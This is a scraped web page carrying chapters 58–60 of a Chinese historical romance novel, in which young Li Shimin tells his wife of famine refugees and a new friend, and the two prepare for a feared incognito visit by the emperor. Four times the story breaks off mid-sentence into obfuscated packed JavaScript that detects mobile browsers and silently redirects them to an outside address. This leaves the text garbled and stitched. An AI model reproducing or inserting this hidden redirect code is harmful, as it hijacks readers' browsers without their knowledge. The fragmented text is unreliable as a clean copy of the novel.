l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162900|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门要口饭吃,却被鞭打驱离,甚至有所谓违令不愿返回者为流矢所伤——他们,并不是传说中无恶不作的暴民、盗匪……”带着些单纯的少年在朝廷的剿匪文告与自己目睹的真相之间做着艰难的抉择。 “我与你心有戚戚焉……”长孙青璟托着腮,史书上所载的饥荒、流亡、易子而食的情景与眼前实景交叠在一起。 北邙的群山算不得高峻,但是连绵无绝,在广阔的天地间显得尤为苍茫,历史、现实、人心就这样消解于无形,令一切的创痛都化作麻木。 “家令劝我少管闲事,世道就是如此,一个年轻公子哪怕有恻隐之心也无力改变什么。我们就这样走走停停,用了两个时辰才到田庄上。庄吏是我祖父的远亲,虽说不免倚老卖老,但打理庄园却无比尽心。增减的田亩,佃客、部曲、奴婢、托庇的课户、逃亡隐匿官匠的数量,庄客奴婢各自所长全部记录在册,问及私租、义租收支也应对如流。我好奇的问起租佃如何分成,庄吏便有些抱怨,与家令口角起来。” “他二人的口角,不会是因你而起吧?”长孙青璟好奇地问道。 “你说得也不无道理。”李世民捡了一根枯枝,坐回长孙青璟身边,在地上写写画画起来。 “庄吏责怪家令罔顾田庄去年收支,又从流民中大肆招揽庄客,这些人好勇斗狠又不事生产,也不知招来有何用?我当然是据理力争,令他先将人安顿好以待后用。” “你在天子脚下招揽私兵,确实应该想些掩人耳目的法子。”长孙青璟当然知道蓄养私兵是勋贵常态,控制好规模便也无甚大碍,“也不能光是操练,总要令他们寻些别的事做,省得动静太大被奸佞小人在圣上面前进谗言。” “嗯。”李世民点头道,“家令与庄吏又谈及去年歉收,我想免除去年一部分私租与义租。他二人反而不为修缮宅邸、看家护院的支出争执了。异口同声地劝我作罢。我又岂会轻易让步。我心想着我早晚用得着这些佃客,管他是长于殴斗的,长于修筑的,长于耕作的,长于纺织的,终究都能为我所用,便不能涸泽而渔,焚林而猎。不如现在起把主六佃四的分账改为主三佃七,以布匹抵粟也未尝不可。若庄中支用不够便先动用我的私财……” “你的私蓄够用吗?”长孙青璟对这种灾年减私租的尝试饶有兴趣,“不够的话,我把脂粉钱给你。” “啊,你是我设想出新的收租之法后唯一支持我的人!感激不尽。我正为自己的天纵奇才沾沾自喜之时,家令却给了我当头一棒,他说:‘公子,虽说郎君与娘子有过君子协定,默许自己百年之后诸子分家之时,洛阳的田宅交给公子打理,但是公子现在这番作为,恐怕将来入不敷出,只是一味耗尽财力。若公子一意孤行,我便只能向郎君直言。’我心烦闷,也知道他说的不无道理。兹事体大,不禀告大人却是不妥,便只能暂时作罢。”李世民怏怏不乐,扔掉了手中枯枝。 “那等大人归家,你与他郑重禀告此事。晓以利害,未必不成?”长孙青璟被一些从未有人尝试过的理想所鼓舞,急切地想看看坚守道义的结果。 李世民突然急于知道自己在长孙青璟心中到底是怎样一个形象:“你看我像个愚儒或者痴客吗?” “这个世间总归需要几个迂阔的狂狷之士。”长孙青璟讨厌世俗之人对理想主义者的嘲笑。 李世民听到了胡桃裂开的声音。 执一的人,终会相遇。 58. 惊寤 年轻的公子终于鼓起勇气将心中的郁愤向另一个迂阔的狂狷之士倾吐而出。 “我在家令与庄吏那里自贻伊戚之后,便决意出去散心,顺便狩猎。村中大道旁有施陈米粥之处,那是母亲在世时定下的规矩。我本以为选择性地留下身强力壮者作为部曲佃户已是慈悲,却从未想过那些失去子女的老人,失去父母的孩童被驱逐后会遭遇什么。回洛仓与含嘉仓内拥有数百座窖穴,每窖储粮数千石,圣上竟然忍心看着百姓辗转而死也不愿赈济,若是怕饥民在朝贺的夷狄面前丢了圣朝的脸,可以给他们指一条明路嘛——比如去洛口仓,何至于如此驱遣河东流民。” “我正准备找口井取水饮马,却被村正模样的长者与几个壮实汉子阻拦。‘这口井的水脏了,烦劳公子移步别处。’他们的口气,好像是遇到了什么晦气的事情。我倒也不是很在意,只是单纯地觉得他们只是不想让我的马白喝他们的水。正当我准备给他们钱换水时,村正说道:‘公子,看你身上的襜褕和身后的马,我们也知道你不缺那几文钱。只不过这水确实喝不得了……’几个捧着包袱跑来的人赶走了正在往井中扔枯枝的孩子,叫道:‘让开让开,扔柳条桃枝顶什么用,去找点贯众来,贯众才能去掉死尸的味道。’一群看热闹扔树枝辟邪的孩童才做鸟兽散。其中一个跑到我身边说;‘昨晚有两个河东饿鬼投井死了,大清早把打水的婆娘吓得半死——也不知道是不是已经成了巨人观?听说是拆了井沿砖石、舆尸人才能动手把他们运走。’只听得扑通几下,有人将矾石、雄黄、朱砂一类的物什投进了井中。村正埋怨道:‘一年的药量全用完了,近日,给我日夜看好这井,不要再出事!’我这才大致明白有流民饿得活不下去直接投井而死。与我搭讪的孩童对我说:‘你给我十文钱,不要剪边的,我带你去找没死过人的干净河水。’我确实多年未来此处,便应允了他。” “我就在所谓干净的河水边与那领路的孩子告别,顺便给了他一个银香囊,他虽然欢喜,还是更想讨要一些米粟。” “我沿着邙阪道胡乱飘荡,一想起一路所见骨瘦如柴的流民,充塞脑际耳畔的哀嚎,胥吏带血的皮鞭,被剥尽外皮拗折细枝的榆柳,随意悬挂在枯槐之上的招魂幡,那口打捞起尸体的井……尽是惨绝人寰的景象,而我自己想要略微改变一下自己田庄主佃分账而不可得,所有的人似乎都在嘲笑我年轻,狂妄,不谙世事,劝我谨慎,小心,随波逐流。我心中愤懑又痛恨自己无能。一时便想隐入山中,不问世事。观音婢,我从来没有这种厌世又自暴自弃的情绪。就算在圣上第二次征高丽时,我见到载有士兵遗体的舆尸车也只有崇敬而不会觉得他们忠于国事是毫无意义的。可是我无论如何不能说服自己这些流民应该为圣上万国来朝的大业而付出性命。” 他失魂落魄,喋喋不休地说道。 长孙青璟任由李世民抓紧自己的手,鼓励他把噩梦一样的回忆尽情倾诉。 “可是我又能逃到何处呢?”李世民突然松开青璟的手,腾地站起身,有些哽咽地说道,“无非是从一条枕尸的平路换到另一个抛尸的乱葬岗。” “零星路过的舆尸工以为我迷路了,劝我莫去山北,我便依言原路折回。谁知马匹不知为何受惊,直向北冲去。观音婢,你能想象大业八年被抛在那里的累累白骨还未入土,大业十一年的尸骨又迭相层累,秽臭熏天吗?” 李世民捂着脸,竭力将那些惨绝人寰的画面从脑中祛除,却收效甚微,只能接着讲道:“我一时骇愕不能言,几不知归路何处。未料群豺早已窥伺我许久。正在我神思恍惚之时,为首的豺狗突然暴起直扑马尾,马嘶鸣闪躲作人立之状,我拔刀呵斥,与群豺对峙。刚才偷袭我的豺狗伏地低嚎,其余七八条豺狗分踞马匹两侧,皆逡巡不前。——我们都在等待对方的破绽,豺狗之首等待我弃刀搭弓之时与群豺一拥而上将人马撕个粉碎。我在等它将近未近之时将它直接斩杀。” “正当我与这些畜生僵持之时,一道箭影破空,但见为首豺狗喉咙被箭簇贯穿,血沫喷溅。我还未看清那放箭搭救我的猎户样貌,群龙无首的群豺已方寸大乱,四散逃窜。我便与他同心合力将群豺射杀。我二人喘息犹促之时,那个猎户向我朗声笑道:‘身手不错嘛!我还以为你是个爱管闲事又文弱的纨绔子弟。’我这才看清他也不过十六七岁。我拱手道:‘谢阁下相救。阁下箭法精妙,某不胜敬佩。我只因马受惊误入此地,不知阁下为何也出现在这乱葬冢?’他与我并辔而行,笑着说:‘有混账知我亟需两只大雁,便骗我说邙山水草丰沛之处有并不南归而是在此过冬的大雁,我一路寻来,却扑了个空。正准备回去找那促狭鬼算账,不想误入这晦气的乱葬冢,心中这盘算着如何将那促狭鬼痛打一顿。接着就见到这群长得更猪一般肥硕的畜生在围攻你——虽未找到雁,却意外救了人,也算行善积德,不虚此行了。’我俩一见如故,便互报了家门。他叫张亮,是荥阳人,祖父辈时迁居洛阳。我也报了姓名,只说是长安人,随父来洛阳料理田产,并不敢随意告知他我父亲的身份。我见他衣着单薄,便将那件厚重襜褕扔给他,他也不矫情推辞,爽快收下了。因为时辰不早,他问了问我居所远近,便劝我回他家中,以免遇到剪径的盗匪,他们杀起人来可比成群的豺狗厉害多了。我也不矫情,便爽快应允,去他家借宿……”似乎是遇到了知己,李世民的脸色不再一片晦暗,略微明朗了些,顺势又坐回长孙青璟身边。 “张亮父母已故去多年,家境寒微,兄长死于高丽兵燹。于今已算成年,同族对他偶有照应,聊胜于无。他略通文墨,胜在去过不少地方,见多识广。我们也无力置韭菜,便架铜鼎置炭火,加羹汤涮煮肉蔬,喝了些味道辛辣的浊酒。我们聊了皇帝四处巡游,开运河、征高丽、连年的饥荒,授田形同虚设,将人逼到抛家弃子的赋税,洛阳正月一个接一个的狂欢。他想着家中连年近况,我想着父亲多年饱受猜忌,两人一拍即合,将暴虐恣睢的杨广骂了个痛快淋漓,两人心中顿时就舒畅多了。说到投机处,张亮邀我参加他的仲春二月的婚礼。因我已将他引为知己,便夸下海口说将带着自己妻子一同向他道喜。”李世民小心翼翼地问道,“他家确是你从未见过的穷困潦倒,我擅自替你做主,你不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174868|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拒绝同我一起参加友人婚礼吧?我丧期未满,擅自参加婚礼,是否妥当?” 长孙青璟摇头道:“他救你脱困,难得性情直爽与你投缘,我怎么说都需得登门道谢,绝无嫌弃之意。母亲在世时最担心你意气用事而生命有虞,你得一以性命相交的知己,她定然为你高兴。母亲生前并非不知变通的古板之人,定然赞同你对张亮夫妇以礼相待——至于父亲那边……”长孙青璟仔细思索了一遍,凭着直觉说道,“就不要用这些琐事令他分心焦虑了。你我瞒着他偷偷去张家道贺就是了……” “其实张亮这人怪有趣的。”李世民见妻子爽快同意与这寒微之家来往,便说道,“我应允后,他便央我为他做一件要紧事。” “怕不是要你做傧相,自然做得。你告诉他,长孙娘子答应了。”长孙青璟拍打了一下李世民的膝头,话语中带着忍俊不禁的笑意。 “不是。他的请求比你想的还要离奇。张亮说他的那位未婚妻,父亲早亡,家中只有寡母弱弟。家道中落,不得不遣散大半仆僮,一起劳作。这娘子擅长纺织,性格干练泼辣,极要面子。他恐亲迎之时太过寒酸,所以央我假装那位娘子的从兄送嫁。” “啊?”长孙青璟觉得这倒是闻所未闻。 “那位娘子,大概与你同龄。哦,恰好与我同姓。我假扮她从异乡而来道贺的富户堂兄便再容易不过了,也不会被那些爱说三道四的乡邻识破。” “这倒也凑巧。”长孙青璟感慨道,“也就是说,他替未婚妻找了个下婿时打他的假兄长?为新娘出嫁壮声势?” “大概就是这样……”李世民细细想来也觉得好笑。 “这样说来,这个叫张亮的少年甚是喜爱那位李娘子啊,虽然他求你做这事有那么一点古怪和痴傻。”但是这些可爱的小心思在长孙青璟心中胜过杨广为宣华夫人和吴绛仙写的所有悼亡诗赋。未曾谋面的少年夫妻形象在她眼中也活泛了起来。 “喜不喜爱我管不着,看在救命和投缘的份上我也得痛快应承下来,不然岂不成了言而无信、忘恩负义之徒。”难得这位公爵之子在遇到这一串稀奇古怪请求时第一不是想着不能做与身份不匹配的事情,而是朋友的任何逾矩请求是无论如何也要答应的。 “第二日一早,我便提着张亮自家去年酿的酴醾酒、沿着邙阪道回庄园别业了。我本想将马也赠予他,或者索性告诉他我是国公之子。又害怕他生出被人轻贱的念头不再与我深交,便问清楚了婚期。准备到时多备米粟与绢布,令我‘从妹’风光出嫁。既然定好了下次相会的日期,我与张亮便都不作小儿女之态,匆匆告别。一路上,新的饥民源源不断从官道、野径涌向洛阳,他们也许是从蒲津渡踩着冰、绕过重重拦阻的关卡逃亡过来的,阻拦的胥吏和士兵已经疲态尽显……” 他心中郁结,语渐低微。长孙青璟徐徐握住李世民的手腕,心怜其恸。 “所以,你的迂阔症又发作了,所以登高舒怀,暂忘尘忧。”长孙青璟问道。 李世民颔首会意,与妻子心照不宣。他虽然不置一词,心中的愁云已然散去三分。 59. 同归 暮云四合,天地俱寂。两人只能听到彼此呼吸声浅浅地与风声应和。 除了对方,天地间是一片灰暗和死寂。 “你刚才说我是迂阔的狂狷之士——听起来不错,值得浮一大白。”李世民矜容自贵起来,掸了掸肩头灰尘,露出一个如释重负的微笑。 “你不是有酒吗?——我带了剖匏,正好配一场酒局。”长孙青璟从马鞍后取下两个朱漆剖匏,置于脚下,“你偷偷喝点救命恩人送你的酒,母亲不会怪罪的。浊醪夕引,素琴晨张!可惜缺了一把素琴,否则更加应景!” “你带了剖匏却不带琵琶,奇哉怪也!” 两人取过酒壶,斟满两个剖匏,浊酒辛辣的味道已经溢满了胸臆。。 他们突然相对无言,暗自发笑,有一种少男少女私定终身偷喝合卺酒的滑稽感。 长孙青璟顽皮又恭敬地捧起酒杯道:“我,长孙青璟,敬我面前这位执一者,执一者无所不能、所向披靡,执一者终于成大事。” 然后,她主动以自己手中剖匏轻叩李世民捧起的剖匏,接着举杯一饮而尽。只因这重酿酒太辣而呛噎良久。 “这酴醾酒没有滤干净,你从哪里找到的?”长孙青璟拭去嘴唇上的酒渍,举止遑遽,“真是辛烈透脑,如吞炽炭!” “我,李世民,也敬眼前这位慧眼识得英雄的美——”李世民自觉措辞失当而假装舌僵呛咳,索性重申,“敬眼前这位迂阔执一、慧眼识得英雄的贤媛。”说罢,举烈醪而入喉,气若奔雷,肝肠与酒气一齐沸腾起来。 他一时激愤,想如青史上的英雄般掷杯于地,完成了一番壮举。谁料长孙青璟睥睨而视,他便将举于半空的剖匏收回身侧。 两人相视而笑,莫逆于心,都感觉重新审视了对方一次。 “你的心绪一直不佳,已经好久没有对人舒心笑过了。”长孙青璟收起两个剖匏,放在脚边,一手托腮撑膝,带着天真未凿的意态说道:“你笑一笑,连黄昏的天都明朗了些许……” “你也一样。”好像是为了回应长孙青璟真诚的赞美,他也学着妻子的模样微笑着托腮问道,“你是如何猜到我在这些高台处踯躅徘徊的?” 长孙青璟轻蔑地一笑:“钝子,你好好回想一下,除了你自己,还有谁也会在伤心时跑到高处撒野?就许你上山散心,就不许别人去?” 李世民突然想起了从涿郡回来之后与长孙青璟的再次相遇,当时他确实心绪不佳,故而登临南山;又回想起长孙青璟自长孙敞府邸出逃之后,知情亲友皆如无头苍蝇般恨不能将大兴翻个底朝天,而自己竟鬼使神差在高阳之原的墓地找到了她;而如今,长孙青璟也在北邙的群山之中寻着了他——他简直无法用巧合来形容这样的默契! “这叫做气类相感,气性相召吗?”李世民为两人又各斟了一瓢酒,“好在今日没有王无锝在这里败兴。” “我挺想念他的。”长孙青璟抿了一口浊酒。她的话令李世民大感意外。 “为什么?”李世民问道,“这条不知羞耻的狗有什么值得你想念的?”他的言谈中尽是不屑与戏谑,两眼却怅惘地望着天边归鸟,心中溢满了在长安飞鹰走狗的骋怀时光。 “我近日布置你住处,令蝈娘在通远市、丰都市遍寻珍玩、字画皆不如意,就总是有意无意想起我那位忘年交穆伯脩先生与你这位市井好友王无锝——我想着若是他二人也在洛阳就好了,定能助你我办成一桩大事。” 李世民奇道:“两个商人,能有你所说的通天之能吗?” 长孙青璟沉默不语,决定暂时不在丈夫面前提起这两日邙山“地狱变”名卷的始作俑者皇帝杨广,又须得想个办法劝李世民上元之前回到洛阳城积善坊家中。 万一杨广真如传言中所说白龙鱼服、突然前来唐国府造访试探,她与李世民二人身为国公家眷,不在府邸中恭迎反而在乡间修养,必会成为大不敬、有二心的把柄。 她定要竭力劝说李世民扼腕压膈,在杨广面前表现得忠贞不二,令皇帝不再对李氏一门有任何猜忌——属于长孙季晟的那一半聪慧提醒她不要错失任何御前自鬻的机会。 她又轻呷了一口酒,见李世民也是一副木立之态吗,便问他有何打算。 “我又细算了一下,哪怕私租分账主三佃七,我仍是太过盘剥佃户。万一他哪怕举债、典妻、卖儿鬻女也无法交清私租,便会毁我庄园,便会仍由田地荒芜而奔逃,会恨我入骨,我又得到了什么?观音婢,你记得开皇初年的均田令是怎么授田与收租的吗?” 李世民所说的一切,似乎已经超出一个十四岁娘子的认知疆域。长孙青璟只觉得眼前郎君心窍周流诡谲,非常理可度。她的太阳穴有些不受控地跳动着。 ——真是令人头痛的迂阔之人! 此刻,两个怀揣着同样执一之道的人为了解决眼下棘手的问题开始南辕北辙。 “我不知道这些,但可以帮你查找。等我们回到庄上或积善坊时,设法找个年长的税胥问问。《九章》里头《粟米》《衰分》两章大概是讲田赋的,你想要给佃户减租,不妨找人讲讲高颎的《输籍定样》里应对灾年该如何定税。” 长孙青璟协助鲜于氏计算过舅父职田的收入,却只是按部就班,从未细究。 她如今只能努力搜索枯肠,找一点共通的话题。 “春种时我想与庄上农人一起下地,或者一起开挖水渠,修缮别业……总要亲自试一试才知他们的疾苦。”李世民沉浸在自己的世界中,“或者查一下仓廪,安排巡视,对了,我以后出门不带五铢钱,带着米粟在乡间行走还方便些。” “也……行……”长孙青璟点头,不忍心断绝李世民的殊绝之想,“我也可以让手巧的妇人教我饲蚕缫丝。” 她模模糊糊地意识到,她天真执着的丈夫,企图在北邙一隅的狭小天地里,营造一个自己心中“春蚕收长丝,秋熟靡王税”的桃源或者野心更大的帝舜之历山、大禹之嶷山、伊尹的有莘之野。 从理性的角度来讲,她应该规劝他打消这些疯狂的可笑的念头;但是从感性的角度来讲,上古的圣君贤相又无一不是执一的能者。 她的性格,之于李世民似乎更加圆滑,而一个圆滑世故的人是没有资格去指责一个慕义之人的。 此时已是山衔半日,昏鸦归巢。阳光的颜色变幻莫测,将北邙的整片天空点染成伊阙岩壁巨型佛龛那般悲悯的天界之光。 溪水边枯槐上的招魂幡,或伏或倚或相持的尸首浸染在无尽慈悲的琉璃焰之中,等待着彼岸而来的渡船…… 长孙青璟在心中默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16185009|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念起《涅槃经》。面对广阔的天地,她顿觉自己经年所受苦难——无论是父亲早逝、被异母兄长逐出家门还是舅父遭贬谪,都已不值一提。 能够坐对停云,以待天命,未尝不是一种幸运。 两人各自喝完最后一瓢酴醾酒。长孙青璟驻足向山下眺望,辨认出零星几个李家僮仆、部曲仍然在焦灼寻找他二人。 “他们已经寻找你两日,寻找我多时了。”她摘下冪?向坡下招摇,“谦谦君子,卑以自牧。所恶于上,毋以使下。我们不要再为难这些为了你我不得合眼、不得休歇的下人了。” “你说得对,万一父亲得知我们下落不明,不但自心焦灼,耽误国事,还会迁怒于这些人。”李世民说罢,便也从地上跃起,向山下众人挥臂示意。 山下寻找年轻主人的众僮仆部曲终于察觉到山头异动,也摇臂相向。 山上这二人才安心整理衣冠,扑去全身浮土,准备下山。 “好,回家!”李世民干脆利落地起身,打了个呼哨。 在远处觅食的白蹄乌飞驰回主人身边。谁料李世民也不上马,只拍打马鞍,吩咐坐骑先去山下静候主人。 他随即牵过长孙青璟的马,转身以双手托举她的侧腰,将寻找了他半日、耐心听完他奇遇、又与他一同构筑毘提诃净土的少女轻轻置于马鞍上。 “我真的不需要别人替我牵马坠蹬。”长孙青璟笑着说,“我下坡时的控鞍之术很精熟。不信的话,你松开缰绳看着我。” “我相信你。”李世民注视着将上身几乎伏在马背上的小妻子,认真地说道,“只是我有一件事想要告诉你,怕一到山下就忘记了。” “什么有趣的事?”少女俯身歪头,好奇地问道。 “昨晚我梦见你了。——也不只是昨晚,我经常梦见你。”表白者的眼眸清未沾滞,一眼见底,带着长孙青璟从未见识过的纯澈羞赧,“梦里的你,就和现在一样蹦蹦跳跳的……” 他们一人倾身,一人矫首,靠得很近。 迎风披拂的马鬃突然隔开了两张焕发的脸。李世民向一边躲闪了一下,又转过头凝望着长孙青璟,任由那些任性的鬃毛刮擦着自己脸颊。 长孙青璟打了个喷嚏,在马鞍上坐正了欠欠身,她的眼眶红肿发酸。 “一定是那些细小的毛发与苜蓿碎片钻进了鼻子里。”她充满确信又疑惑地想道,“他也会怕羞?” “我一直都知道。”长孙青璟带着故作老成的语调回答。红润的指尖默默地拨去贴在李世民脸上的马鬃。 “我怕你又忘记了,所以不时提醒你一下。”李世民转过身,恢复了平日倜傥轩举的模样,引辔向山下徐行。 长孙青璟断定他一定在垂眸偷笑。 尽管眼前的少年倔强冲动、迂阔执一、灵台异构,拥有整个世界的圆滑脂韦都无法渐染的稚气,胸怀移山填海般难以企及的梦想,甚至连长相也不是她最爱的状貌若画之流品,但是她依然爱他,爱他好高骛远的星槎之愿,爱他蓬勃如苜蓿的云霓之志。 她对他的爱意,仅次于父母兄长——也许已经与兄长持平。 但是,此刻她偏不告诉他。 前途未卜,峣峣者易缺,皦皦者易污。 她才不想看见他狂妄自大的样子。 60. 剪烛 银釭相照,绛蜡明灭。檐月几满,树影参差。 年轻的伉俪正坐在新订制的“春江花月夜”诗意画屏风一侧,剪烛而谈。李世民琢磨着这明明是新绘却绝类十年旧物的屏风,不禁疑窦丛生。 “我听刘娘子说,这屏风明明是你大费周章从丰都市一个好酒的又有些怪脾气的画师那里求来的,为何弄得毫无新气象?有什么深意吗?” 长孙青璟正摊开杨广诗文集细看,并不想多做解释,只是敷衍道:“我自有道理,等你好好听我话,照我说的做,我就告诉你。” “卖什么关子?”李世民故作不屑地嗤笑道,但是却忍不住细细端详起画作来,“为什么不让画师把游女、湘妃画出来呢?早知道你喜欢这样的诗意屏风,我就让立本给你画啊……” “你跟野狗搏杀了半日,在张亮家住了一晚,在帝王封土堆上徘徊了半日,又在邙阪道上赶了一个时辰路回城,怎么一点也不知疲倦呢?”长孙青璟将一盏丁香饮子推到李世民面前,调侃道。 “因为我身边有个女中陈平啊,诡智若泉涌,奇谋如珠落——我怎么敢不把心猿紧锁,意马牢栓啊?我真是竭尽心神也追赶不上你的奇策机巧啊!”李世民举起杯盏,做了一个敬酒的姿势。 “满口胡言!”长孙青璟转过脸,朝天翻了个白眼,不再理睬李世民,兀自在卷轴上做着奇奇怪怪的记号。 家令与刘娘子正在廊下核实小郎君与小娘子这几日的行踪,以免他们招惹上歹人。两位长者一边抱怨后怕一边庆幸转危为安。 家令经此惊吓,但凡小郎君与小主母不离开洛阳城,便无事不允,哪怕小主母这几日花钱如流水——那终究是用自己的安危在体恤新婚丈夫的可靠新妇,他一个外人不好再多置喙。 刘娘子经此失而复得情状,已无心劝诫二人深夜各自安睡,切勿亲昵,但求平安别无他想。眼见两个年轻人也只是讨论些家具布置、皇帝微服的话题,全然不是长辈们所担心的暧昧之事,便不再催促两人正聊得投机时分开。 蝈娘禀告长孙青璟,府中按照娘子的意思,已经清扫数遍,多栽杨树与柳树,尽量将李树掩映于杨柳之后,使之不显眼不招摇。如今婢子们正连夜裁剪绿色绫罗绸缎,明日一早便可装饰杨树。 “我怕新填的土太过明显,又混了些干燥泥石。圃人说不吹毛求疵的话不会有人发现杨树是新栽的。”蝈娘邀功般说道,“这一招是我父亲教我的。他为先夫人布置过邙山别业的花树。娘子明早再查看一下。” 长孙青璟微笑颔首,这个窦夫人赐名的小丫鬟果然伶俐。虽说大字不识几个,却知道应该把什么展示在矫情饰伪的皇帝面前。 长孙青璟因蝈娘办事得力,便特意将自己的一身旧袄裙赏赐于她。其余人等,如同蝈娘一同奉承画师的年轻家生,移栽杨树的圃人皆有钱帛赏赐。 她招来管事几位娘子,询问自己不在府时奴婢与雇工们行事的进度,计上心头,决定明赏罚,信奖惩。 于是,趁主母离家偷奸耍滑,还未按长孙青璟出门前所叮嘱的,将府中器物重新清点登记造册的家奴与雇工须得将名物造册完毕后,各领惩戒——家奴明日罚去庄园清淤,雇工在月佣内扣除五升粟。 一开始,诸位管事娘子只觉得新主母只是个穿着老成衣服的聪明女孩子,如今,大家也叹服主母就是主母,见识与手段和年龄的关系不大。 刘娘子有些担心长孙青璟劳累半日,身体不适,便劝道:“老妪又要多嘴了,赏罚之事固然要行使,但是娘子也不要急于今日,与奴婢们置气惹出病来,郎君可要心痛了……” 长孙青璟“噗嗤”一声笑出来:“他才不心痛,自顾自跑去邙阳以身饲豺,也不管我们担不担心。” 她如今已经深知窦夫人身边环绕的心腹——甚至包括年纪与自己相仿的蝈娘,都是体察人意、做事稳妥,喜好戏谑的乐天之人,便也开始融入这个视她为新主母的团队之中,偶尔也与他们开开无伤大雅的玩笑。 “阿嬭不必管她。”李世民笑道,“长孙娘子乐在其中,没有任何不适……” “我可管不了你们……”刘娘子也笑了,“你们说的话,老妪也听不懂,我还是去外面逗逗蝉衣……” 长孙青璟殷勤将自己案前的果干分了一半给这位乳母。 “你确定陛下会白龙鱼服?这副草木皆兵的模样着实令人害怕!”李世民茫然莫晓,心窃怪之。 “圣上在上元节微服出行有什么奇怪的?你有没有听说过,圣上当年去了越国公府上,越国公当晚就薨了;圣上之前也去过许国公府上,见珍宝充栋,心中不悦,疏远了许国公许久;圣上还去过郕国公府上,觉得仪卫御制,有反心……” 李世民的寒意从脊背窜上后颈:“观音婢,你是从哪里听说这些奇闻轶事的?就没有被圣上造访而未被责罚的臣下吗?” “有啊,你急着打断我作甚?”长孙青璟从袖囊里摸出一颗铜弹丸,紧攥于掌中,似乎能从中汲取无限的力量并由此产生无数古灵精怪的念头。 “你听好了,接下来我要说的,当书绅以记之。”她以铜丸敲击着书案,“慎之慎之。” “不要故弄玄虚。”李世民眄视长孙青璟,取下一支笔道,“夫子快讲,我一字一句都记在衣带上。——好了,我已正襟危坐,夫子告诉我,哪些人逃过了圣上的猜忌?”李世民装出一副准备聆听先生训诲的恭顺模样。 “坊间传言,圣上微行至闻喜县公府上,府中并无宴饮,其子正挑灯读书,圣上喟叹良久即便离去;圣上微行至御史大夫家中时,见御史大夫连夜审阅公文——你对我挑眉做什么?”长孙青璟举起铜弹丸向李世民肩头轻轻砸去,李世民探手接住弹丸,只见弹丸上铸有“拔拔鹅王”四个模糊的小字,也不想深究这弹丸来历,只是嘴硬道:“我一听到这群虫豸的名号就开始头痛,在你看来可不就像挑眉一般……” “你管裴蕴是虫豸还是良臣,你管他是在罗织薛道衡的罪名还是设法将梁陈的乐户全部塞进太常寺讨好圣上。总之,若你与圣上易地而处,你见到御史大夫将处理不完的卷宗带回自己府上挑灯批阅,如此恪尽职守、夙夜在公,难道不动容,不感怀?”长孙青璟将手肘支在书案上,手掌撑起下颌,得意洋洋地问道,满心觉得会得到一个圆满的的答案。然后,顺理成章地,让李世民依葫芦画瓢照办就行。 “你想听真话吗?”李世民支起一条腿,抱着膝盖满不在乎地说道,“若我是圣上,见到自己的御史大夫如此矜情饰貌、惺惺作态,多半既不动容也不感怀,由此判定此人要么愚不可及无法尽厥职,要么欺君罔上伪忠佞附——八个字,非蠢即奸!即刻除名!” 长孙青璟不可置信地张大了眼睛:“公子——你还真是灵台异构,逆绪悖常。举世皆东流,汝独西溯!” “我说的有什么不对的,除了晚节不保的越国公于国尚算有功,宇文述、裴矩、裴蕴这群虫豸哪怕立刻流放珠崖郡,国朝也几乎毫无折损!” “公子,我给你讲个《韩非子》里的故事吧。”长孙青璟吐出一口愤怒的浊气,娓娓道来,“秦有钝者,其首若榆,叩之作金石响。赵人有善运斤者,闻而奇之,往斫之,斤刓而榆首无恙。” “你这覆酱本《韩非子》有点意思,居然能把八百年后的后生辱骂一番。”李世民也不生气,粲然道,“观音婢,我知道你想劝说我抑情矫性,曲意逢迎圣上,只有这样,方能躲过圣上猜忌,躲过微服试探……你直说,我照做就是。”他拉过长孙青璟因气恼而攥紧的拳头,翻开她的掌心,将弹丸归还。 “这才差不多!”长孙青璟昂起高傲的头颅,“否则,你就一人去邙北种地修渠,我才不奉陪……” “我知错了。”李世民开玩笑似的道歉,却没有放开她的手。 “你为什么逆着我的意思说话?”长孙青璟的脸有些发烫,婢女多半都忙着剪绸缎装饰还未长出新叶的杨树,刘娘子与蝉衣劳累整日,隔着帘帷依稀可以窥见一老一少昏昏欲睡的剪影。 在暧昧的气氛下,长孙青璟害怕两人在守制时作出逾矩之事,便故意罔顾左右而言他:“我是说,你明明知道我想让你做什么,甚至你自己也清楚应该怎样做,对于阖府上下才是最优的选择,却非要选些最不加修饰的言辞来气人?” “因为我性格如此,因为这两天经历太过骇人听闻……”这番真假掺半的言辞倒也有理有据,长孙青璟也勉强理解。 只是她并不知道眼前少年还有一层不愿言说的情愫:很多时候,他的寂寞孤苦与他的偏执倔强一样是无法向人解释清楚的;而她,是不需要他解释就能走进他内心的人。 所以,他总是恶作剧似的、明知故犯似的在礼法允许范围,在长孙青璟的怒火能够自行消解的范围内凿空立论,硬抬死杠,以期将她多留在身边片刻。 但这理由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 